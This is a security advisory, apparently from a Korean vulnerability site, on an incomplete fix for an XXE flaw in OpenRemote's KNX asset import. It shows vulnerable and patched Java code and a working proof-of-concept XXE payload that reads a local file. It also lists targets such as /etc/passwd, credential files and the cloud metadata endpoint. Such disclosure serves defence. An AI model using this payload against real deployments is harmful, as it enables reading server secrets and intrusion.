OpenRemote has an incomplete fix for CVE-2026-40882: XXE in KNXProtocol.startAssetImport() allows arbitrary file read via unprotected XMLInputFactory
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L상세 설명
Summary
The fix for CVE-2026-40882 addressed only the Velbus asset import handler. The KNX asset import handler (KNXProtocol) processes user-uploaded ETS project ZIP files through Saxon XSLT and XMLInputFactory.newInstance() with no XXE protection, allowing any authenticated user to read arbitrary files from the server filesystem (e.g. /etc/passwd, openmrs-runtime.properties, cloud credential files).
Details
Incomplete patch
CVE-2026-40882 was fixed by introducing createSecureDocumentBuilderFactory() in AbstractVelbusProtocol.java with five XXE-blocking features. The parallel asset import handler in KNXProtocol.java was not updated and retains two unprotected XML parsing calls on the same user-controlled data.
Patched file — AbstractVelbusProtocol.java:
1private DocumentBuilderFactory createSecureDocumentBuilderFactory() { 2 DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); 3 factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); 4 factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); 5 factory.setFeature("http://xml.org/sax/features/external-general-entities", false); 6 factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); 7 factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); 8 return factory; 9}Vulnerable file — KNXProtocol.java, lines 229–249:
1// Line 229-230: reads 0.xml from user-uploaded ZIP 2InputStream inputStream = KNXProtocol.class.getResourceAsStream(".../ets_calimero_group_name.xsl"); 3String xsd = IOUtils.toString(inputStream, StandardCharsets.UTF_8); 4 5// Lines 233-245: Saxon XSLT — no XXE protection on the source document 6TransformerFactory tfactory = new TransformerFactoryImpl(); 7Transformer transformer = tfactory.newTransformer(new StreamSource(new StringReader(xsd))); 8transformer.transform( 9 new StreamSource(new StringReader(xml)), // xml = 0.xml from attacker's ZIP10 new StreamResult(writer));11 12// Line 249: XMLInputFactory — no SUPPORT_DTD=false, no IS_SUPPORTING_EXTERNAL_ENTITIES=false13try (final XmlReader r = XmlInputFactory.newInstance()14 .createXMLStreamReader(new StringReader(xml))) { ... }Data flow
1POST /api/{realm}/agent/{agentId}/import (authenticated user, PR:L) 2 → AgentResourceImpl.doProtocolAssetImport(fileData) 3 → KNXProtocol.startAssetImport(byte[] fileData) 4 → ZipInputStream reads 0.xml from attacker-controlled ETS ZIP 5 → Saxon TransformerFactoryImpl.transform(StreamSource(0.xml)) ← XXE stage 1 6 → XmlInputFactory.newInstance().createXMLStreamReader(xml) ← XXE stage 2 7 → external entity resolved → arbitrary file readComparison with patched code
| Handler | XML parser | DTD disabled | Status |
|---|---|---|---|
AbstractVelbusProtocol | DocumentBuilderFactory | ✅ 5 features set | Patched (CVE-2026-40882) |
KNXProtocol | Saxon + XMLInputFactory | ❌ none set | Not patched |
PoC
No full OpenRemote installation required. The following reproduces the vulnerable XML processing chain using the exact same library versions.
Requirements: Java 17+, Maven 3.8+
pom.xml dependency:
1<dependency> 2 <groupId>net.sf.saxon</groupId> 3 <artifactId>Saxon-HE</artifactId> 4 <version>12.9</version> 5</dependency>Exploit.java:
1import net.sf.saxon.TransformerFactoryImpl; 2import javax.xml.stream.*; 3import javax.xml.transform.*; 4import javax.xml.transform.stream.*; 5import java.io.*; 6import java.nio.file.*; 7 8public class Exploit { 9 public static void main(String[] args) throws Exception {10 11 // Sentinel file — proves arbitrary file read12 Path sentinel = Files.createTempFile("openremote_xxe_proof_", ".txt");13 String tag = "OPENREMOTE_KNX_XXE_" + System.currentTimeMillis();14 Files.writeString(sentinel, tag);15 16 String maliciousXml =17 "<?xml version=\"1.0\"?>\n" +18 "<!DOCTYPE root [\n" +19 " <!ENTITY xxe SYSTEM \"file://" + sentinel.toAbsolutePath() + "\">\n" +20 "]>\n" +21 "<root><data>&xxe;</data></root>";22 23 // Stage A: XMLInputFactory (KNXProtocol.java:249 — no security config)24 XMLInputFactory factory = XMLInputFactory.newInstance();25 XMLStreamReader reader = factory.createXMLStreamReader(new StringReader(maliciousXml));26 StringBuilder sb = new StringBuilder();27 while (reader.hasNext()) {28 int e = reader.next();29 if (e == XMLStreamConstants.CHARACTERS) sb.append(reader.getText());30 }31 System.out.println("Stage A result: " + sb.toString().trim());32 33 // Stage B: Saxon TransformerFactoryImpl (KNXProtocol.java:233-245)34 String xsl = "<?xml version=\"1.0\"?>" +35 "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">" +36 "<xsl:output method=\"text\"/>" +37 "<xsl:template match=\"/\"><xsl:value-of select=\"root/data\"/></xsl:template>" +38 "</xsl:stylesheet>";39 TransformerFactory tf = new TransformerFactoryImpl();40 StringWriter writer = new StringWriter();41 tf.newTransformer(new StreamSource(new StringReader(xsl)))42 .transform(new StreamSource(new StringReader(maliciousXml)), new StreamResult(writer));43 System.out.println("Stage B result: " + writer.toString().trim());44 45 Files.deleteIfExists(sentinel);46 }47}Build and run:
1mvn clean package -q 2java -jar target/openremote-xxe-1.0.jarVerified output (JDK 21, Linux):
1Stage A result: OPENREMOTE_KNX_XXE_1780611779589 2Stage B result: OPENREMOTE_KNX_XXE_1780611779589Both stages print the sentinel file's contents, confirming that an external entity referencing a local file is resolved without restriction.
Impact
Vulnerability type: XML External Entity (XXE) injection leading to arbitrary file read and potential server-side request forgery (SSRF).
Who is impacted: Any OpenRemote deployment that exposes the Manager API to authenticated users. The import endpoint requires only a valid session (PR:L), not administrator access. An attacker with a regular account in any realm can exploit this to read files accessible to the JVM process user, including:
/etc/passwd— user enumeration- Application configuration files containing database credentials or API keys
- Cloud provider metadata endpoints via SSRF (
http://169.254.169.254/...) - Internal service endpoints reachable from the server
The vulnerability is present in KNXProtocol, a built-in protocol handler shipped with every OpenRemote installation that includes the agent module. No special configuration is required to be exposed to this attack.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.